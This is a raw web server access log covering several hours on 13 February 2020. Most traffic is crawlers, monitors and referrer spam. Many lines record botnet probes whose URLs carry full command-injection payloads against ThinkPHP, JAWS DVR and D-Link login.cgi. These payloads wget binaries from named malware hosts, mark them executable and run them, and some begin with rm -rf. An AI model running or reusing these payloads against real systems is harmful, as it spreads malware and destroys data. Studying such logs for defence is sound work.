114.36.57.182 - - [13/Feb/2020:04:17:04 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
124.47.8.10 - - [13/Feb/2020:04:19:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
223.71.167.166 - - [13/Feb/2020:04:21:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
201.223.180.54 - - [13/Feb/2020:04:26:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.17.206.199 - - [13/Feb/2020:04:27:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
66.249.65.160 - - [13/Feb/2020:04:34:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
183.80.221.146 - - [13/Feb/2020:04:36:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.20.141.33 - - [13/Feb/2020:04:38:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
171.100.12.210 - - [13/Feb/2020:04:40:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
3.95.165.122 - - [13/Feb/2020:04:40:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.237.135.34 - - [13/Feb/2020:04:44:51 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
103.76.136.197 - - [13/Feb/2020:04:45:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.76.136.197 - - [13/Feb/2020:04:45:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
139.162.106.181 - - [13/Feb/2020:04:47:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
179.109.200.248 - - [13/Feb/2020:04:47:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
36.238.108.171 - - [13/Feb/2020:04:48:54 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
108.50.231.111 - - [13/Feb/2020:04:52:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
80.26.154.92 - - [13/Feb/2020:04:56:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
60.53.149.157 - - [13/Feb/2020:04:56:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.54.128.120 - - [13/Feb/2020:04:56:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.236.10.113 - - [13/Feb/2020:04:59:39 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
45.143.220.189 - - [13/Feb/2020:05:01:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [13/Feb/2020:05:02:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
71.6.146.185 - - [13/Feb/2020:05:03:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.146.185 - - [13/Feb/2020:05:03:11 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.146.185 - - [13/Feb/2020:05:03:11 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.146.185 - - [13/Feb/2020:05:03:11 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.146.185 - - [13/Feb/2020:05:03:12 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
46.118.126.142 - - [13/Feb/2020:05:03:16 +0100] "GET / HTTP/1.1" 200 1229 "https://casino-vulkane.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [13/Feb/2020:05:03:16 +0100] "GET / HTTP/1.1" 200 1229 "https://casino-vulkane.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
45.143.220.189 - - [13/Feb/2020:05:03:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
46.118.126.142 - - [13/Feb/2020:05:03:17 +0100] "GET / HTTP/1.1" 200 1229 "https://casino-vulkane.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
102.65.77.223 - - [13/Feb/2020:05:03:42 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
203.83.167.125 - - [13/Feb/2020:05:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.116.133.231 - - [13/Feb/2020:05:07:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.130.22.140 - - [13/Feb/2020:05:11:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.23.12.219 - - [13/Feb/2020:05:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
120.72.21.101 - - [13/Feb/2020:05:13:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.195.37.202 - - [13/Feb/2020:05:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
178.90.116.169 - - [13/Feb/2020:05:18:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.118.31 - - [13/Feb/2020:05:18:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
201.177.70.197 - - [13/Feb/2020:05:18:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
92.46.233.241 - - [13/Feb/2020:05:22:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.40.112.202 - - [13/Feb/2020:05:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
151.73.101.228 - - [13/Feb/2020:05:24:08 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
5.34.76.147 - - [13/Feb/2020:05:27:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.181.202 - - [13/Feb/2020:05:41:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.47.8.10 - - [13/Feb/2020:05:41:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.197.101 - - [13/Feb/2020:05:42:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.10.90.89 - - [13/Feb/2020:05:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
66.249.73.119 - - [13/Feb/2020:05:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
51.254.59.113 - - [13/Feb/2020:05:46:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
46.118.121.248 - - [13/Feb/2020:05:50:12 +0100] "GET / HTTP/1.1" 200 1229 "https://zvooq.eu/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [13/Feb/2020:05:50:13 +0100] "GET / HTTP/1.1" 200 1229 "https://zvooq.eu/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [13/Feb/2020:05:50:13 +0100] "GET / HTTP/1.1" 200 1229 "https://zvooq.eu/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
45.143.220.189 - - [13/Feb/2020:05:54:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
183.80.221.146 - - [13/Feb/2020:05:57:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.155.223.104 - - [13/Feb/2020:06:12:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
172.105.11.111 - - [13/Feb/2020:06:12:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
2.133.20.85 - - [13/Feb/2020:06:14:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.148.173.190 - - [13/Feb/2020:06:15:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
93.148.173.190 - - [13/Feb/2020:06:15:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
118.71.30.155 - - [13/Feb/2020:06:16:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.46.233.241 - - [13/Feb/2020:06:20:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.33.214 - - [13/Feb/2020:06:21:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.61.218.54 - - [13/Feb/2020:06:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "spider"
213.61.218.54 - - [13/Feb/2020:06:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "spider"
172.105.11.111 - - [13/Feb/2020:06:26:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
125.25.184.72 - - [13/Feb/2020:06:32:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.54.178.40 - - [13/Feb/2020:06:33:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
172.105.11.111 - - [13/Feb/2020:06:34:16 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330"
172.105.11.111 - - [13/Feb/2020:06:34:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
172.105.11.111 - - [13/Feb/2020:06:34:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
66.249.65.82 - - [13/Feb/2020:06:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
124.106.83.63 - - [13/Feb/2020:06:37:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
124.106.83.63 - - [13/Feb/2020:06:37:59 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
124.106.83.63 - - [13/Feb/2020:06:37:59 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
93.67.131.192 - - [13/Feb/2020:06:38:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
115.75.0.166 - - [13/Feb/2020:06:41:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
172.105.11.111 - - [13/Feb/2020:06:41:18 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330"
172.105.11.111 - - [13/Feb/2020:06:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "\"Mozilla/5.0"
172.105.11.111 - - [13/Feb/2020:06:41:49 +0100] "HEAD / HTTP/1.1" 200 - "-" "\"Mozilla/5.0"
5.190.215.251 - - [13/Feb/2020:06:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
220.180.167.150 - - [13/Feb/2020:06:43:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.238.29.106 - - [13/Feb/2020:06:47:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.88.218 - - [13/Feb/2020:06:48:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.241.243 - - [13/Feb/2020:06:50:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
148.70.242.55 - - [13/Feb/2020:06:50:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.84.23 - - [13/Feb/2020:06:51:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.78 - - [13/Feb/2020:06:51:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.154.227.183 - - [13/Feb/2020:06:51:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.35.187 - - [13/Feb/2020:06:55:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.20.222.185 - - [13/Feb/2020:06:56:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [13/Feb/2020:06:56:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [13/Feb/2020:06:56:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [13/Feb/2020:06:57:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [13/Feb/2020:06:57:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.60.124 - - [13/Feb/2020:06:59:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
148.251.41.239 - - [13/Feb/2020:06:59:36 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
148.251.41.239 - - [13/Feb/2020:06:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [13/Feb/2020:07:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.129.132 - - [13/Feb/2020:07:00:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.209.182 - - [13/Feb/2020:07:02:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.51.1.169 - - [13/Feb/2020:07:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
197.51.1.169 - - [13/Feb/2020:07:04:09 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
197.51.1.169 - - [13/Feb/2020:07:04:09 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
212.91.246.72 - - [13/Feb/2020:07:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [13/Feb/2020:07:06:36 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [13/Feb/2020:07:06:36 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [13/Feb/2020:07:06:37 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
185.62.198.175 - - [13/Feb/2020:07:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:07:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [13/Feb/2020:07:09:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
